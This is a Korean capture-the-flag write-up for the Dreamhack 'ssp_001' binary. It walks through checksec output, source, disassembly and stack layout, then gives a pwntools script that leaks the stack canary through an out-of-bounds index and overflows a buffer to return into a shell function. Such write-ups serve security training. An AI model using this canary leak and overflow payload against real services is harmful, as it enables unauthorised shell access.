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osc0105@DESKTOP-2K7Q46S:/home/Dreamhack/ssp_001$ checksec ssp_001
[*] '/home/Dreamhack/ssp_001/ssp_001'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
checksec 확인 결과 NX ,canary 가 적용된것을 확인이 가능하다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
get_shell 코드가 존재하기 때문에 get_shell 코드의 주소로 ret 해주어야 한다.
어셈블 명령을 통해서 각 case를 분리가 가능하다.
0x0804872b <+0>: push ebp
0x0804872c <+1>: mov ebp,esp
0x0804872e <+3>: push edi
0x0804872f <+4>: sub esp,0x94
0x08048735 <+10>: mov eax,DWORD PTR [ebp+0xc]
0x08048738 <+13>: mov DWORD PTR [ebp-0x98],eax
0x0804873e <+19>: mov eax,gs:0x14
0x08048744 <+25>: mov DWORD PTR [ebp-0x8],eax
0x08048747 <+28>: xor eax,eax
0x08048749 <+30>: lea edx,[ebp-0x88]
0x0804874f <+36>: mov eax,0x0
0x08048754 <+41>: mov ecx,0x10
0x08048759 <+46>: mov edi,edx
0x0804875b <+48>: rep stos DWORD PTR es:[edi],eax
0x0804875d <+50>: lea edx,[ebp-0x48]
0x08048760 <+53>: mov eax,0x0
0x08048765 <+58>: mov ecx,0x10
0x0804876a <+63>: mov edi,edx
0x0804876c <+65>: rep stos DWORD PTR es:[edi],eax
0x0804876e <+67>: mov WORD PTR [ebp-0x8a],0x0
0x08048777 <+76>: mov DWORD PTR [ebp-0x94],0x0
0x08048781 <+86>: mov DWORD PTR [ebp-0x90],0x0
0x0804878b <+96>: call 0x8048672 <initialize>
0x08048790 <+101>: call 0x80486f1 <menu>
0x08048795 <+106>: push 0x2
0x08048797 <+108>: lea eax,[ebp-0x8a]
0x0804879d <+114>: push eax
0x0804879e <+115>: push 0x0
0x080487a0 <+117>: call 0x80484a0 <read@plt>
0x080487a5 <+122>: add esp,0xc
0x080487a8 <+125>: movzx eax,BYTE PTR [ebp-0x8a]
0x080487af <+132>: movsx eax,al
0x080487b2 <+135>: cmp eax,0x46
0x080487b5 <+138>: je 0x80487c6 <main+155>
0x080487b7 <+140>: cmp eax,0x50
0x080487ba <+143>: je 0x80487eb <main+192>
0x080487bc <+145>: cmp eax,0x45
0x080487bf <+148>: je 0x8048824 <main+249>
0x080487c1 <+150>: jmp 0x804887a <main+335>
0x080487c6 <+155>: push 0x804896c
0x080487cb <+160>: call 0x80484b0 <printf@plt>
0x080487d0 <+165>: add esp,0x4
0x080487d3 <+168>: push 0x40
0x080487d5 <+170>: lea eax,[ebp-0x88]
0x080487db <+176>: push eax
0x080487dc <+177>: push 0x0
0x080487de <+179>: call 0x80484a0 <read@plt>
0x080487e3 <+184>: add esp,0xc
0x080487e6 <+187>: jmp 0x804887a <main+335>
0x080487eb <+192>: push 0x8048979
0x080487f0 <+197>: call 0x80484b0 <printf@plt>
0x080487f5 <+202>: add esp,0x4
0x080487f8 <+205>: lea eax,[ebp-0x94]
0x080487fe <+211>: push eax
0x080487ff <+212>: push 0x804898a
0x08048804 <+217>: call 0x8048540 <__isoc99_scanf@plt>
0x08048809 <+222>: add esp,0x8
0x0804880c <+225>: mov eax,DWORD PTR [ebp-0x94]
0x08048812 <+231>: push eax
0x08048813 <+232>: lea eax,[ebp-0x88]
0x08048819 <+238>: push eax
0x0804881a <+239>: call 0x80486cc <print_box>
0x0804881f <+244>: add esp,0x8
0x08048822 <+247>: jmp 0x804887a <main+335>
0x08048824 <+249>: push 0x804898d
0x08048829 <+254>: call 0x80484b0 <printf@plt>
0x0804882e <+259>: add esp,0x4
0x08048831 <+262>: lea eax,[ebp-0x90]
0x08048837 <+268>: push eax
0x08048838 <+269>: push 0x804898a
0x0804883d <+274>: call 0x8048540 <__isoc99_scanf@plt>
0x08048842 <+279>: add esp,0x8
0x08048845 <+282>: push 0x804899a
0x0804884a <+287>: call 0x80484b0 <printf@plt>
0x0804884f <+292>: add esp,0x4
0x08048852 <+295>: mov eax,DWORD PTR [ebp-0x90]
0x08048858 <+301>: push eax
0x08048859 <+302>: lea eax,[ebp-0x48]
0x0804885c <+305>: push eax
0x0804885d <+306>: push 0x0
0x0804885f <+308>: call 0x80484a0 <read@plt>
0x08048864 <+313>: add esp,0xc
0x08048867 <+316>: mov eax,0x0
0x0804886c <+321>: mov edx,DWORD PTR [ebp-0x8]
0x0804886f <+324>: xor edx,DWORD PTR gs:0x14
0x08048876 <+331>: je 0x8048884 <main+345>
0x08048878 <+333>: jmp 0x804887f <main+340>
0x0804887a <+335>: jmp 0x8048790 <main+101>
0x0804887f <+340>: call 0x80484e0 <__stack_chk_fail@plt>
0x08048884 <+345>: mov edi,DWORD PTR [ebp-0x4]
0x08048887 <+348>: leave
0x08048888 <+349>: ret
case F
0x080487c6 <+155>: push 0x804896c
0x080487cb <+160>: call 0x80484b0 <printf@plt>
0x080487d0 <+165>: add esp,0x4
0x080487d3 <+168>: push 0x40
0x080487d5 <+170>: lea eax,[ebp-0x88]
0x080487db <+176>: push eax
0x080487dc <+177>: push 0x0
0x080487de <+179>: call 0x80484a0 <read@plt>
0x080487e3 <+184>: add esp,0xc
0x080487e6 <+187>: jmp 0x804887a <main+335>
case P
0x080487eb <+192>: push 0x8048979
0x080487f0 <+197>: call 0x80484b0 <printf@plt>
0x080487f5 <+202>: add esp,0x4
0x080487f8 <+205>: lea eax,[ebp-0x94]
0x080487fe <+211>: push eax
0x080487ff <+212>: push 0x804898a
0x08048804 <+217>: call 0x8048540 <__isoc99_scanf@plt>
0x08048809 <+222>: add esp,0x8
0x0804880c <+225>: mov eax,DWORD PTR [ebp-0x94]
0x08048812 <+231>: push eax
0x08048813 <+232>: lea eax,[ebp-0x88]
0x08048819 <+238>: push eax
0x0804881a <+239>: call 0x80486cc <print_box>
0x0804881f <+244>: add esp,0x8
0x08048822 <+247>: jmp 0x804887a <main+335>
case E
0x08048824 <+249>: push 0x804898d
0x08048829 <+254>: call 0x80484b0 <printf@plt>
0x0804882e <+259>: add esp,0x4
0x08048831 <+262>: lea eax,[ebp-0x90]
0x08048837 <+268>: push eax
0x08048838 <+269>: push 0x804898a
0x0804883d <+274>: call 0x8048540 <__isoc99_scanf@plt>
0x08048842 <+279>: add esp,0x8
0x08048845 <+282>: push 0x804899a
0x0804884a <+287>: call 0x80484b0 <printf@plt>
0x0804884f <+292>: add esp,0x4
0x08048852 <+295>: mov eax,DWORD PTR [ebp-0x90]
0x08048858 <+301>: push eax
0x08048859 <+302>: lea eax,[ebp-0x48]
0x0804885c <+305>: push eax
0x0804885d <+306>: push 0x0
0x0804885f <+308>: call 0x80484a0 <read@plt>
0x08048864 <+313>: add esp,0xc
0x08048867 <+316>: mov eax,0x0
0x0804886c <+321>: mov edx,DWORD PTR [ebp-0x8]
0x0804886f <+324>: xor edx,DWORD PTR gs:0x14
0x08048876 <+331>: je 0x8048884 <main+345>
0x08048878 <+333>: jmp 0x804887f <main+340>
0x0804887a <+335>: jmp 0x8048790 <main+101>
0x0804887f <+340>: call 0x80484e0 <__stack_chk_fail@plt>
0x08048884 <+345>: mov edi,DWORD PTR [ebp-0x4]
0x08048887 <+348>: leave
0x08048888 <+349>: ret
위 내용을 가지고 스택을 그려보면
ebp-0x0 = 0x4 = ret
ebp-0x4 = 0x4 = dummy
ebp-0x8 = 0x4 = canary
ebp-0x48 = 0x40 = name
ebp-0x88 = 0x40 = box
ebp-0x8a = 0x2 = selate
ebp-0x90 = 0x4 = name_len
ebp-0x94 = 0x4 = idx다음과 같음을 알 수 있다.
canary 정보 획득을 위해 void print_box 함수 사용이 가능하다.
void print_box 함수는 box 위치의 값을 출력을 하는 함수이다.
이떄 box + name 값을 요청하여 canary 정보 획득이 가능하다.
canary = b""
for i in range(131,127,-1):
p.sendlineafter(">","P")
p.sendlineafter("Element index : ",str(i))
p.recvuntil(" : ")
canary += p.recv(2)
획득한 카나리로 name 스택을 오염시켜 ret을 get_shell 함수로 이동하도록 페이로드를 작성하면
payload = b"A"*0x40
payload += p32(canary)
payload += b"B"*0x4 #dummy
payload += b"C"*0x4 # edp
payload += p32(get_shell) #ret
최종적인 익스플로잇 코드는 다음과 같다
# -*- coding: utf-8 -*-
from pwn import *
p = remote('host3.dreamhack.games',24217)
# p = process('./ssp_001')
e = ELF('./ssp_001')
get_shell = e.symbols['get_shell']
canary = b""
for i in range(131,127,-1):
p.sendlineafter(">","P")
p.sendlineafter("Element index : ",str(i))
p.recvuntil(" : ")
canary += p.recv(2)
canary = int(canary,16)
print("canary : ",hex(canary))
payload = b"A"*0x40
payload += p32(canary)
payload += b"B"*0x4 #dummy
payload += b"C"*0x4 # edp
payload += p32(get_shell) #ret
p.sendlineafter("> ","E")
p.sendlineafter("Name Size : ",str(len(payload)))
p.sendlineafter("Name : ",payload)
p.interactive()
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